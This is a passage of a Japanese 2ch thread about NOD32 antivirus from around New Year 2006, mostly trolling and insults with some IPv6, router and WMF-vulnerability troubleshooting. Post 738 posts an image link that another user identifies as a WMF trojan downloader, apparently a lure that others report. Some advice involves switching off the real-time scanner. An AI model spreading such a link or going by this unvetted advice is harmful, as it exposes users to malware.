578 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:03:04 ]: だめじゃん。
579 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:04:33 ]: >>577
それどう見ても低機能って事だよ
580 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:07:19 ]: 低機能と騒いで奴のほうが頭の機能が低そうだな。

えらそうなこと言うのなら、具体的な問題点を書き出してみろ。
ついでに、回避策もな。
581 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:12:32 ]: ポート指定する機能が無いのが既に問題だと言っているのになんで理解できないの？
ルータを使っていない環境だったらどうなるのかも想像つかないのか

ポート指定が要らないのが特徴とかいってるのは阿呆
582 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:14:10 ]: >>580
持ちつけ。馬鹿は相手にしないほうがいいとおもわれ。
583 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:17:31 ]: 580=582=馬鹿
584 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:17:53 ]: 自演はじめちゃった
相当ﾋﾟﾖった模様
585 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:23:26 ]: いつものことだ。
586 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:24:50 ]: > ルータを使っていない環境
PFWに拘る奴なら普通にルータ入れるだろ？
と、いうかPFW導入する前にルータ入れろよ。
587 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:26:34 ]: 拡張子ぜんぶおｋにするとなにか不都合とかあるの？
別にないんだったら、wmf指定とかめんどいことしなくても、いいと思うんだけど・・・・
588 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:29:52 ]: ポート指定が要らないというより
ポート指定ができないんだから。

そりゃ駄目だろ。
589 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:32:51 ]: えらそうなこと言っておきながらその程度w
あと、スレ違いだから下記へ

> ZoneAlarm Part31
> pc8.2ch.net/test/read.cgi/sec/1132751012/
590 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:39:02 ]: 遁走宣言ですか？
591 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:41:33 ]: >>564
Z音の判断基準はわけわからん。
592 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:42:26 ]: 誘導は遁走とは言わないw
まだ言いたいことがあるなら下記へ書くといい、そこで相手してやるよ。

> ZoneAlarm Part31
> pc8.2ch.net/test/read.cgi/sec/1132751012/
593 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:45:56 ]: 断る。
594 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:46:57 ]: 【誘導という名の】【遁走】
595 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:47:29 ]: 敗北宣言乙＞雑音
596 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:48:13 ]: 他スレではシンプルオブベストとか独自用語使うなよw
597 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:48:26 ]: >>593-595
結局、君の目的は荒らしってことなw
598 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:52:33 ]: >>597
自己分析乙。
599 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:53:49 ]: 今まで散々スレ違いな話を続けておいて、
旗色が悪くなると誘導を装って終了宣言かよ。
おめでてーな。
600 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 14:54:50 ]: いつものパターンだな。
601 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 15:09:15 ]: アンチはどうしようもないな
602 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 15:12:21 ]: 君は雑音の事をアンチと言うのか。
603 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 15:15:44 ]: 564 ：名無しさん＠お腹いっぱい。：2005/12/31(土) 13:07:22
ペストパトロールは仕様だから誤検出ＯＫ
ＺＡはいいソフトだから重くてＯＫ（重いのはＰＣが糞だから）
のくせにNODに関しては基地外みたいにシビアに見るんだよな
数秒程度の差でも糞重いとか抜かすしな

565 ：名無しさん＠お腹いっぱい。：2005/12/31(土) 13:08:25
>>564
だってアンチは基地外だもん。しょうがないよ。

566 ：名無しさん＠お腹いっぱい。：2005/12/31(土) 13:09:12
>>565
何言ってんの？
俺はＮＯＤ厨が基地外だって言ってるんだけど

これと同じパターンかよw
604 名前：中山　健 mailto:sage [2005/12/31(土) 15:16:32 ]: 　
605 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 15:25:08 ]: 何か言えよ。
606 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 16:16:42 ]: 223 名前：222[sage] 投稿日：2005/12/31(土) 16:10:09
書き直し

>>213
> つまりNOD32は拡張子を変えられると、悪意あるコードの実行阻止に失敗する可能性があるので注意が必要。
> NOD使いの人は、上記リンクの要領で設定の変更を。

その必要全くなし。
IMONは全てのファイル(書庫やメール含む)を検査するからAMONの設定値が登録された拡張子のみであっても差し障りはない。
もちろんIMONは書庫も対象に検査される。

あと、AMONの現在のデフォルト値は全てのファイル(書庫やメール除く)になっていて、
初心者にも扱い易くなっている。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

宣伝必死だねw
607 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 16:36:48 ]: い～もん
608 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 16:38:01 ]: 違わなえよ
609 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 16:38:33 ]: シンプルオブベスト
610 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 16:39:09 ]: ネタを仕込んでみる♪
611 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 17:46:34 ]: 明治ミルクと僕と佐野さん
612 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:01:06 ]: 初心者に扱いやすくなってるっていうか、
意外にちゃんと考えられて作られてるって感じだな。
613 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 18:02:12 ]: んなわけねーだろ
614 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:05:44 ]: >>613
どのあたりが？
615 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:06:26 ]: >>613
ねぇねぇ、どのあたりが？
616 名前：名無しさん＠お腹いっぱい。 [2005/12/31(土) 18:07:22 ]: >>577
普通はトラストに入れなくてもできないといけないはずなのにできないところが問題なんだよ。
お前の言うことは単なる　開　き　直　り　だ　。
617 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:07:47 ]: シンプルオブベストなあたりが。
618 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:09:34 ]: 614 ：名無しさん＠お腹いっぱい。：2005/12/31(土) 18:05:44
>>613
どのあたりが？

615 ：名無しさん＠お腹いっぱい。：2005/12/31(土) 18:06:26
>>613
ねぇねぇ、どのあたりが？

何でこんなに短時間で必死なのw
619 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:11:13 ]: >>618
ねぇねぇ、どのあたりが？
620 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:11:47 ]: >>618
ねぇねぇ、どのあたりが？
621 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:12:05 ]: 違わなえよなあたりかな。
622 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:12:38 ]: またネタを仕込んでるのか？
623 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:15:34 ]: ZAはシンプルオブベスト
624 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:16:50 ]: ZAも雑音に目をつけられたばっかりに・・・。
気の毒だな。
625 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:19:03 ]: 雑音の知識レベルではぞねしか使えないんじゃないかと思われ。
626 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:27:47 ]: 知識レベルとか、そういうものを要求するようなFWは必要ない。
ガードソフトはだれしもが普通に使えるようになっていなければならない。
627 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 18:30:16 ]: >>626
PFWはもともと知識を必要とするものだ
628 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:30:33 ]: アンチウイルスソフトだと知識を要求するものでもいいのですか？
629 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:35:05 ]: NODは馬鹿でも使える簡単仕様だってよｗ
630 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:36:06 ]: NODは一般大衆向けソフトではないとか誰か言ってませんでしたっけw
631 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 18:46:00 ]: FWはなにつかってるんですか？
632 名前：名無しさん＠お腹いっぱい。 [2005/12/31(土) 18:53:13 ]: 他スレ荒らすなよ
633 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 19:02:59 ]: FWはZAこそ唯一にして究極。シンプルオブベストの選択だよ。
スレ住人ならみんな知ってる。
634 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 19:04:52 ]: シンプルオブベストなんて知りませんでしたが。
635 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 19:08:55 ]: >>633
そんなの
企業用の外部プロキシサーバーを通して利用しているファイアーウォールが最強に決まってるべ
636 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 19:12:30 ]: シンプルオブベスト（笑）
637 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 19:46:49 ]: >>626
おい、シンプルオブベストもいいが同じくらい珍妙な言葉が出たぞ。
>ガードソフトはだれしもが普通に使えるようになっていなければならない。
ガードソフト。これは酷い。
638 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 19:47:29 ]: ガードソフトの検索結果のうち日本語のページ約 329 件中 1 - 10 件目 (0.08 秒)
639 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 19:54:08 ]: じつはガードソフトもシンプルオブベストも私の発言です（ ´∀｀）
640 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 19:54:51 ]: ガードソフトって何？
641 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:00:58 ]: >>633
ﾊﾞｶは日本語で。
642 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:12:26 ]: 警備ソフトウェア
643 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:15:47 ]: 違わなえよ
644 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:22:26 ]: 違わないよ
645 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:22:58 ]: ネタを仕込んでみる♪
646 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:38:21 ]: タネを仕込んでみる♪
647 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:39:00 ]: ガードソフト
648 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:40:16 ]: Guard software
649 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 20:42:22 ]: みなさん来年も荒れるんでしょうね（笑）
650 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:43:07 ]: 違わなえよ
651 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:43:39 ]: シンプルオブベスト
652 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:45:02 ]: best of simple
653 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:48:19 ]: このスレ勢い3位だし伸びいいよね
654 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:49:49 ]: 伸びればそれでいいのか？
655 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:52:16 ]: 1はそれで満足なんだろ。
656 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 20:57:58 ]: 　　　　　　　　　　　　　　　　　　　　　　　　　　／l、
　　　　　　　　　　　　　　　　　　　　　　　　　（ﾟ､｡７
　　　　　　　　　　　　　　　　　　　　　　　　　　l、 ~ヽ
　　　　　　　　　　　　　　　　　　　　　　　　　　じしf_, )ノ
657 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:28:29 ]: 大晦日、既知外だけが、騒いでる。
658 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:29:54 ]: シンプルオブベスト
659 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:30:34 ]: ガードソフト
660 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:30:55 ]: 年の瀬に、鬱が積もって、哀れかなw
661 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:31:06 ]: (･∀･)ﾆﾔﾆﾔ
662 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:31:39 ]: 違わなえよ
663 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:33:13 ]: 嫌がらせ、虚しいだけの、行為かな。
664 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:33:43 ]: ちんぽ
665 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:35:29 ]: 恥知らず、恥を知る日は、まだ遠い。
666 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:37:09 ]: 自己分析川柳ですか。
667 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:44:58 ]: 反応するところが益々哀れを醸し出していますよ。
668 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 21:49:08 ]: 次の自己分析レスﾏﾀﾞｰ
669 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 22:14:17 ]: おまいら大晦日も煽り合いですか？
670 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 22:15:05 ]: 次の自己分析レスﾏﾀﾞｰ？？？
671 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 23:00:18 ]: >>669
それがNOD32クオリチー
672 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 23:03:03 ]: 数年前から基地外が住み着いているのだが仕方ないよ。
673 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 23:09:30 ]: ＞だが
だからじゃないのですか？
674 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/31(土) 23:13:01 ]: 日本語に不自由している雑音クオリティー
675 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 23:13:08 ]: 釣り仕様
676 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 23:14:53 ]: そういえば前に仕掛け（トリップ）とかわけわからんこと言ってたなw
677 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 23:16:38 ]: 食い付くようなら投稿を控えましょう。
基地外は一人で遊んでてください。
678 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/31(土) 23:17:27 ]: 次の自己分析川柳ﾏﾀﾞｰ？？？
679 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 00:29:07 ]: あけましておめでとう。
680 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 00:31:21 ]: あけおめ！
681 名前：【凶】【982円】 mailto:sage [2006/01/01(日) 00:33:05 ]: 糞スレの有効活用
682 名前：【大凶】【1832円】 mailto:sage [2006/01/01(日) 00:33:36 ]: どうだ？
683 名前：【大吉】【1553円】 mailto:sage [2006/01/01(日) 00:34:08 ]: 今度こそ！
684 名前：雑音の去年の年収は 【159円】 でした。 mailto:sage [2006/01/01(日) 00:35:15 ]: 違わなえよ
685 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 03:07:18 ]: ライセンス登録後にPC買い換えた場合ってどうなるの？
新しいPCに移行出来る？
686 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 03:10:46 ]: もちろんできるさ
687 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 03:14:55 ]: >>686
ありがとう。期限の切れたノー㌧はアンインスコしてこれの体験版入れてみるよ
688 名前：中山　健 mailto:sage [2006/01/01(日) 05:42:20 ]: 　
689 名前：【大吉】【435円】 mailto:sａge [2006/01/01(日) 06:20:33 ]: NOD32最高ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
690 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 08:35:04 ]: これはipv6には対応しないの？
691 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 08:43:03 ]: 対応しているというか、してて当たり前というか、何いってるの？
692 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 08:49:44 ]: 対応してないよ。
canon-sol.jp/supp/nd/wndt4211.html
693 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 09:23:35 ]: それ意味全然違う。
IPv6オンリーのケースだよ。
通常はIPv4とIPv6のコンパチブル、問題なし。
694 名前：【1208円】【大吉】 mailto:sage [2006/01/01(日) 11:06:34 ]: メリークリスマス！
695 名前：【1361円】【末吉】 mailto:sage [2006/01/01(日) 11:29:53 ]: !dama !omikuji
696 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 14:08:36 ]: >>693
ipv6じゃないと接続できないサイトもあるんだよ。
ちなみに、フレッツのCTU設定はNOD32を入れてると変更できない。
697 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 14:35:50 ]: >>693
つまり対応してないの？
698 名前：大吉 mailto:sage [2006/01/01(日) 16:14:19 ]: ！
699 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 16:32:38 ]: 689 名前：番組の途中ですが名無しです[] 投稿日：2006/01/01(日) 02:33:54 ID:I03TNtGa0
www.f-secure.com/weblog/
ここ見たらwindowsのスペシャリストがとりあえずの解決パッチを出したらしい

www.hexblog.com/2005/12/wmf_vuln.html
ここで手に入るみたい

695 名前：689[] 投稿日：2006/01/01(日) 02:47:41 ID:I03TNtGa0
Windows WMF Metafile Vulnerability HotFix
This week a new vulnerability was found in Windows:

www.microsoft.com/technet/security/advisory/912840.mspx

Browsing the web was not safe anymore, regardless of the browser.
Microsoft will certainly come up with a thouroughly tested fix for it in the future,
but meanwhile I developed a temporary fix - I badly needed it.

The fix does not remove any functionality from the system, all pictures will continue
to be visible. You can download it here:

www.hexblog.com/security/files/wmffix_hexblog.exe
700 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 16:34:47 ]: Windows x64 Editionにも対応していないと書いてあるな・・・そうだったのか・・・。
701 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 16:37:08 ]: >>691
対応してて当たり前のものが対応されていない件について。
702 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 16:41:29 ]: >>700
Esetのサイトには対応版がある
703 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 17:26:12 ]: NOD32ってさ。
VBやノートンみたいに自作自演めいた動きをしないから、
効き目がよく分からないんだよ。
ただ無意味にタスクに常駐しているだけだったりして。
704 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 17:48:06 ]: > ipv6じゃないと接続できないサイトもあるんだよ。
当たり前、接続出来るし問題なし

> ちなみに、フレッツのCTU設定はNOD32を入れてると変更できない。
何を言っているのかさっぱり分からんぞ。
終端装置の設定変更問題なく出来るが、変更の必要があるのか？
通常はルータの設定値を変える程度のことだろ。
705 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 18:02:31 ]: >>704
いや、実際接続できないし。
フレッツスクウェアはNOD32入れてると
見られなくなる。

CTUの設定変更が出来ないのはフレッツユーザー
にとっては痛い。

ルータの規定値って、あんたADSL?
706 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/01(日) 18:17:26 ]: ルーターの設定値
707 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 18:21:21 ]: ここ呼んでみな↓
mp758.mydns.to/abc/cbbs/cbbs.cgi?mode=al2&mo=246&namber=246&space=0&rev=1&page=0&no=0
708 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/01(日) 18:22:01 ]: >>707
呼べません
709 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 18:23:04 ]: > フレッツスクウェアはNOD32入れてると
> 見られなくなる。
問題なく見れるし

> ルータの規定値って、あんたADSL?
Ｂフレッツ　マンションタイプ　構内はＶＤＳＬ(上り30Mbps 下り70Mbps)
710 名前：【大吉】【1149円】 mailto:sage [2006/01/01(日) 18:25:14 ]: >>709
呼べません
711 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 18:27:30 ]: >>709
光プレミアム？
Bフレッツってオチじゃないよな？
712 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 18:30:03 ]: >>709
シンプルオブベストな環境だな。誰も構成なんか聞いてねーけどな。
713 名前：709 mailto:sage [2006/01/01(日) 18:32:07 ]: ＯＳ WindowsXP pro sp2
終端装置はVH-70E
IPv6とIPv4のコンパチブル設定

Ｖ6ステージを含めてフレッツスクエアの全て正常動作する。
なお、Ｈｏｓｔには下記を追加している（これ入れとけ）
system32\drivers\etc\hosts
2001:d70:1019::10 mapump.v6stage.fletsnet.com
2001:d70:1019::20 maweb.v6stage.fletsnet.com
2001:d70:1019::51 www.v6stage.fletsnet.com
2001:d70:1019::53 lcns.v6stage.fletsnet.com
2001:d70:1019::55 wms.v6stage.fletsnet.com
714 名前：709 mailto:sage [2006/01/01(日) 18:34:12 ]: >>711
V6アプリ
715 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 18:52:08 ]: なんで英単語で半角と全角が入り混ざってんだこいつ・・・。
716 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 18:53:34 ]: キモい
717 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 18:57:47 ]: ちゃんと動作することが気に入らず、いちゃもんをつける荒らしw
718 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 19:32:11 ]: >>717
この書き込みが本人だとしたら本気でキモイな
719 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:17:02 ]: このスレ荒らしてるやつって何つかってんの？
NOD32よりいいお勧めの教えてくれよｗ
720 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/01(日) 20:19:02 ]: >>719
NOD32
721 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/01(日) 20:21:58 ]: >>719
荒らすも何もNOD32を使ってるからここにいるんだよ
何言ってるん？
722 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:23:34 ]: 自演ばっかでツマンネ
723 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:33:32 ]: このスレ荒らしてるやつって何つかってんの？
NOD32よりいいお勧めの教えてくれよｗ
724 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:34:32 ]: >>723
ウイルスセキュリティ
725 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:39:54 ]: Bフレッツのハイパーとプレミアムはダメみたいだね。
726 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:48:58 ]: >>725
V6アプリが問題ないのにそんなわけねぇだろ。
光電話もちゃんと動作するよ。
727 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:49:52 ]: >>726
ハイパーかプレミアムで使ってるの？
728 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:52:18 ]: >>726
「光プレミアム　nod32」でググってみたらいいんじゃないの？
729 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 20:53:54 ]: 光電話は関係ないだろ、
光電話にNod32いれてんのか？
730 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 21:03:56 ]: ググった。
結論からいうとNTTが糞。
専用のCTU(終端装置＋ルータ)の設計ミスだな。
状況的には下記の２つが考えられるが、まさか1)はないだろう。
1)ならそれこそ糞だ。

1)PC←IPv6→専用のCTU←Ipv4とIPv6のコンパチ→インターネット網とスクエアとV6ステージ
2)PC←IPv4とIPv6のコンパチ→専用のCTU(IPv4とIPv6の切り替えにバクを持つ)←IPv4とIPv6のコンパチ→インターネット網とスクエアとV6ステージ
731 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 21:12:37 ]: >>730
それ最低な設計だ。
1)なら元々使えねぇからそれはない。

2)の状態なら回避策としては、IMONを切ればCTUの設定が可能となる。
設定後に、IMONをオンで良いな。

こんな状態だと、NOD32だけでなく問題だらけだろうな。
なにを考えているのか。
732 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 21:16:23 ]: 「光プレミアムトラブル」でググると笑える。
NTT糞決定。
733 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 21:20:18 ]: (´-`).｡oO( 今日の自演ネタはIPv6か･･･ )

この後にIPv6に未対応な他の製品が槍玉に挙がって、
他の製品の工作員はNOD32スレから出て行け！というシナリオかな？ｗ
734 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 21:30:37 ]: V6アプリと光プレミアムで天国と地獄の差だ。
735 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 21:46:59 ]: ウンコが好きな信者どもだな。
他者に責任をなすりつける様は見てて醜いもんだ。
736 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 21:57:03 ]: >>731
IMON切ったらCTUの設定画面が出たよ。
ありがとう。
737 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 21:58:17 ]: NOD32の優秀さが表に出ると
ログを流し始めるといういつもの流れ
738 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 22:27:50 ]: ブラウザで見られない
ttp://ranobe.sakuratan.com/up/src/up79702.jpg
739 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 22:39:33 ]: >>738
Win32/TrojanDownloader.Wmfex
740 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/01(日) 22:40:46 ]: >>738
通報しました
741 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 23:07:09 ]: >>736
IMON切ったらって・・・解決になっとらん。
742 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 23:31:26 ]: 光プレミアムな奴これ試して見れ

用意するもの：proxomitron

ブラウザをproxomitron経由でネット繋ぐようにして
使ってるブラウザをIMONの除外アプリに加えてOK押して設定反映
→なぜかフレッツスクエア・CTU設定画面・v6ステージが見れる
うまくいかない時は一度再起動

IMONはproxomitronをちゃんと見張ってるので、ウィルスはダウンロード
しようとした時点で、ちゃんと反応する
743 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/01(日) 23:41:07 ]: NODの不具合は有名だから我慢しる
744 名前：【大吉】【506円】 mailto:sage [2006/01/01(日) 23:41:25 ]: 　
745 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/01(日) 23:50:42 ]: VSの方が安くていいよマジで
746 名前：【凶】【1263円】 mailto:sage [2006/01/01(日) 23:55:30 ]: 　
747 名前：【大吉】【477円】 mailto:sage [2006/01/01(日) 23:56:02 ]: 　
748 名前：!omikuji!dama mailto:sage [2006/01/02(月) 00:02:00 ]: 　
749 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 00:02:32 ]: !omikuji!dama終了
750 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2006/01/02(月) 00:03:03 ]: 自分でNODスレを荒らしてるのか・・・ｗ
751 名前：名無しさん＠お腹いっぱい。 mailto:sage [2006/01/02(月) 00:14:31 ]: 【有料無料】アンチウイルスソフトPART5【問わず】
344 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2006/01/01(日) 10:19:09 ID:vqiQCQVB0
おれは2年ほど使ってたノートン先生と手を切るべく、
めぼしいソフト探してるところさ。bitdefenderってのが良さげだな

345 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2006/01/01(日) 15:22:07 ID:3kxIKzHu0
>>344
無料バージョンは常駐しないからavastやAVGお併用した方が良いよ
あと、NIS 2006入れたらクラッシュしたっていう報告が海外であるから
止めた方が良いかも
サポートも受けられず、インストールしなおしても解決できないとか

346 名前：名無しさん＠お腹いっぱい。　[]　投稿日：2006/01/01(日) 18:44:02 ID:J2fztVpo0
と、新年早々FUD活動に励むNOD厨でした。

347 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2006/01/01(日) 19:17:40 ID:RwbLcNPA0
年が改まっても現実を受け入れられない人がいましたか
ttp://www.wilderssecurity.com/showthread.php?s=8b11a9e115e3fa207799e6ed5f8b49c7&t=113415

